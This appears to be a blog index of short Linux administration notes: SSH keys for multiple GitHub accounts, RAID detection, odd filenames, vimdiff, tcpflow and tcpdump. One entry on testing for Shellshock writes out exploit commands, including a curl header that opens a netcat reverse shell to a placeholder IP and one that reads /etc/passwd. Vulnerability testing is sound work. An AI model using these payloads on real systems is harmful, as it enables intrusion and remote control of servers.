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Configuring SSH Keys for Multiple GitHub Accounts

Configuring SSH Keys for Multiple GitHub Accounts Use Different Host values Host github.com HostName github.com User git IdentityFile ~/.ssh/id_fry_ed25519 Host github-plnx HostName github.com User git IdentityFile ~/.ssh/id_fry_plnx_ed25519 # Instead of the actual URL $ git clone git@github.com:planet-express/delivery_service.git # Substitue in our custom Host value for the `github.com` part $ git clone git@github-plnx:planet-express/delivery_service.git Automate Substituting the Host [include] path = ~/.gitconfig_custom # See custom `Host github-plnx` in ~/.ssh/config [url "github-plnx:planet-express"] insteadOf = git@github.com:planet-express

Tuesday, February 11, 2025 閱讀
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Rules that terminal programs follow

“Rules” that terminal programs follow 規則 1：非互動程式應在按 Ctrl-C 時退出 規則 2：按 q 時，TUI 應退出 規則 3：在空白行上按 Ctrl-D 時，REPL 應退出 規則 4：不要使用超過 16 種顏色 規則 5：支援 readline 鍵綁定 規則 5.1：Ctrl-W 應刪除最後一個單字 規則 6：寫入管道時禁用顏色 規則 7： - 表示 stdin/stdout

Wednesday, December 25, 2024 閱讀
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How to Detect RAID Information in Linux

How to Detect RAID Information in Linux lspci lspci | grep RAID 00:1f.2 RAID bus controller: Intel Corporation 82801 Mobile SATA Controller [RAID mode] (rev 04) lshw lshw -class storage *-raid description: RAID bus controller product: 82801 Mobile SATA Controller [RAID mode] vendor: Intel Corporation physical id: 1f.2 bus info: pci@0000:00:1f.2 logical name: scsi0 version: 04 width: 32 bits clock: 66MHz capabilities: raid msi pm bus_master cap_list emulated configuration: driver=ahci latency=0 resources: irq:26 ioport:f0d0(size=8) ioport:f0c0(size=4) ioport:f0b0(size=8) ioport:f0a0(size=4) ioport:f060(size=32) memory:f7e36000-f7e367ff smartctl dmesg | grep -i scsi [ 0.210852] SCSI subsystem initialized [ 0.341280] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 243) ... [ 1.213299] scsi 0:0:0:0: Direct-Access ATA ST320LT012-9WS14 YAM1 PQ: 0 ANSI: 5 [ 1.319886] sd 0:0:0:0: [sda] Attached SCSI disk [ 19.571008] sd 0:0:0:0: Attached scsi generic sg0 type 0 smartctl --all /dev/sda Model Family: Seagate Laptop HDD Device Model: ST320LT012-9WS14C Serial Number: S0V3R9LL LU WWN Device Id: 5 000c50 05be4653c Firmware Version: 0001YAM1 User Capacity: 320,072,933,376 bytes [320 GB] Sector Sizes: 512 bytes logical, 4096 bytes physical Rotation Rate: 5400 rpm Form Factor: 2.5 inches Device is: In smartctl database 7.3/5319 ATA Version is: ATA8-ACS T13/1699-D revision 4 SATA Version is: SATA 2.6, 3.0 Gb/s (current: 3.0 Gb/s) Local Time is: Sat Nov 19 20:52:01 2022 PKT SMART support is: Available - device has SMART capability. SMART support is: Enabled ... MegaCLI megacli -LDInfo -Lall -aALL Adapter 0 -- Virtual Drive Information: Virtual Drive: 0 (Target Id: 0) Name : SEAGATE RAID Level : Primary-1, Secondary-0, RAID Level Qualifier-0 Size : 320 GB Sector Size : 512 Mirror Data : 320 GB State : Optimal ... lsscsi lsscsi [0:0:0:0] disk ATA ST320LT012-9WS14 YAM1 /dev/sda Vendor-Specific Tools omreport storage vdisk List of Virtual Disks in the System Controller SEAGATE Laptop HDD ID : 0 Status : Ok Name : SEAGATE State : Ready Hot Spare Policy violated : Not Assigned Encrypted : No Layout : RAID-0 Size : 320.00 GB (343597383680 bytes) T10 Protection Information Status : No Associated Fluid Cache State : Not Applicable Device Name : /dev/sda Bus Protocol : ATA Media : HDD Read Policy : Adaptive Read Ahead Write Policy : Write Back Cache Policy : Not Applicable Stripe Element Size : 128 KB Disk Cache Policy : Enabled

Monday, November 28, 2022 閱讀
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Test Whether a Server Is Vulnerable to Shellshock Bug

Test Whether a Server Is Vulnerable to Shellshock Bug The Shellshock Bug env x=' () {:;};' Exploiting Shellshock Bug A substituted command is executed since the feature ignores the command specified by the user, and instead, it runs that which the ForceCommand defines. The ignored commands from the user are put in the “SSH_ORIGINAL_COMMAND” environment variable. If the user’s default shell is Bash, the Bash shell will parse the value of the “SSH_ORIGINAL_COMMAND” environment variable on start-up and run the embedded commands. Examples of Shellshock Exploit Commands ## 1 curl -H "X-Frame-Options: () {:;};echo;/bin/nc -e /bin/bash 192.168.y.y 443" 192.168.x.y/CGI-bin/hello.cgi ## 2 curl --insecure 192.168.x.x -H "User-Agent: () { :; }; /bin/cat /etc/passwd" use nmap script to test for the vulnerability nmap -sV -p- --script http-shellshock 192.168.x.x nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls 192.168.x.x

Monday, November 28, 2022 閱讀
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How to Delete Files With Names That Contain Non-printable Characters

How to Delete Files With Names That Contain Non-printable Characters ls -l total 13 -rw-r--r-- 1 ZZ 197121 4 Nov 6 07:08 ' ' -rw-r--r-- 1 ZZ 197121 162 Apr 16 2022 '~$iscord.docx' -rw-r--r-- 1 ZZ 197121 6 Nov 6 06:03 ''$'\302\226' -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:01 ''$'\302\226''Λ---ω' -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:13 '␴?␴??␴??::␴?␴' -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:12 ␴__␴ -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:14 ␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴ -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:18 '␴ω␴␴␣␦'$'\342\220\264' -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:16 ␣␣␣␣␣␣␣␣ -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:26 ␣ μ μ Ω Ω -rw-r--r-- 1 ZZ 197121 14 Nov 6 06:23 '␣ μ ␴'$'\342\220\264''Ξ' -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27 -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27 Using ANSI-C Quoting # Using ANSI-C Quoting rm ''$'\302\226' # We can also use the $ special character before enclosing the filename in single quotes rm $'\356\200\215' # pass an item's name to rm without using the ANSI-C quoting rm '\026\033' rm: cannot remove '\026\033': No such file or directory Using Inode Numbers ls -li total 11 ... 6517085 -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:18 '␴ω␴␴␣␦'$'\342\220\264' 7826050 -rw-r--r-- 1 ZZ 197121 3 Nov 9 04:23 ''$'\356\200\215\356\200\215\356\200\215' 4685554 -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27 we can delete the desired file by passing its inode number to the -inum switch of the find command

Monday, November 14, 2022 閱讀
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/etc/shadow and Creating yescrypt, MD5, SHA-256, and SHA-512 Password Hashes

/etc/shadow and Creating yescrypt, MD5, SHA-256, and SHA-512 Password Hashes chage and Password Aging chage --list root Last password change : Oct 01, 2022 Password expires : never Password inactive : never Account expires : never Minimum number of days between password change : 0 Maximum number of days between password change : 99999 Number of days of warning before password expires : 7 Consequently, we can change any field via its associated flag:

Monday, November 14, 2022 閱讀
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How to Use which on an Aliased Command

How to Use which on an Aliased Command type type grep grep is an alias for grep --color=auto # Bash's type type -P grep /usr/bin/grep # Zsh's type type -p grep grep is /usr/bin/grep GNU which which -a which which: shell built-in command /usr/bin/which alias top10 top10='print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10' alias | /usr/bin/which -i top10 top10='print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10' /usr/bin/uniq /usr/bin/sort /usr/bin/head

Thursday, November 10, 2022 閱讀
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Using Vim as a Diff Tool

Using Vim as a Diff Tool command vim -d file1.txt file2.txt or vimdiff file1.txt file2.txt Switching Between Diff Windows: Ctrl-w + Ctrl-w Changing Split Window Orientation ctrl-w + K key combination to change window orientation from vertical to horizontal. ctrl-w + H shortcut to switch back window orientation to a vertical split. Jumping Between Changes ]c key combination to go to the next change. [c shortcut to jump to the previous change. Applying Changes From the Diff Window: :diffget, :diffput Export Diff to the HTML Web Page: :TOhtml | w ~/diff.html

Thursday, July 7, 2022 閱讀
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Monitoring HTTP Requests on a Network Interface in Real Time

Monitoring HTTP Requests on a Network Interface in Real Time tcpflow apt/dnf install tcpflow $ sudo tcpflow -p -c -i wlp0s20f3 port 80 | grep -oE '(GET|POST) .* HTTP/1.[01]|Host: .*' reportfilename: ./report.xml tcpflow: listening on wlp0s20f3 GET /alexlarsson/flatpak/ubuntu/dists/focal/InRelease HTTP/1.1 GET /mirrors.txt HTTP/1.1 -p disables promiscuous mode -c means only print the output to the console and don’t create files -i specifies the network interface grep receives the output of tcpflow -o means show only the matching parts of the lines that match the pattern -E means the pattern is an extended regular expression (ERE) httpry https://github.com/jbittel/httpry.git

Thursday, June 23, 2022 閱讀
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Tcpdump 使用总结

Tcpdump 使用总结 命令使用 tcpdump 采用命令行方式，它的命令格式为： tcpdump [ -AdDeflLnNOpqRStuUvxX ] [ -c count ] [ -C file_size ] [ -F file ] [ -i interface ] [ -m module ] [ -M secret ] [ -r file ] [ -s snaplen ] [ -T type ] [ -w file ] [ -W filecount ] [ -E spi@ipaddr algo:secret, ... ] [ -y datalinktype ] [ -Z user ] [ expression ] tcpdump 的简单选项介绍 -E spi@ipaddr algo:secret , ...，可通过spi@ipaddr algo:secret 来解密 IPsec ESP 包。secret 为用于 ESP 的密钥，使用 ASCII 字符串方式表达。 如果以 0x 开头，该密钥将以 16 进制方式读入。 除了以上的语法格式(指spi@ipaddr algo:secret)， 还可以在后面添加一个语法输入文件名字供 tcpdump 使用(即把 spi@ipaddr algo:secret, … 中…换成一个语法文件名)。 在接收到第一个 ESP 包时会打开此文件， 所以最好此时把赋予 tcpdump 的一些特权取消(可理解为，这样防范之后，当该文件为恶意编写时，不至于造成过大损害)。 -T type 强制 tcpdump 按 type 指定的协议所描述的包结构来分析收到的数据包。 目前已知的 type 可取的协议为: aodv (Ad-hoc On-demand Distance Vector protocol， 按需距离向量路由协议，在 Ad hoc(点对点模式)网络中使用)， cnfp (Cisco NetFlow protocol) rpc(Remote Procedure Call) rtp (Real-Time Applications protocol) rtcp (Real-Time Applications con-trol protocol) snmp (Simple Network Management Protocol) tftp (Trivial File Transfer Protocol， 碎文件协议) vat (Visual Audio Tool， 可用于在 internet 上进行电视电话会议的应用层协议) wb (distributed White Board， 可用于网络会议的应用层协议) 实用命令实例 截获主机 210.27.48.1 和主机 210.27.48.2 或 210.27.48.3 的通信

Thursday, May 5, 2022 閱讀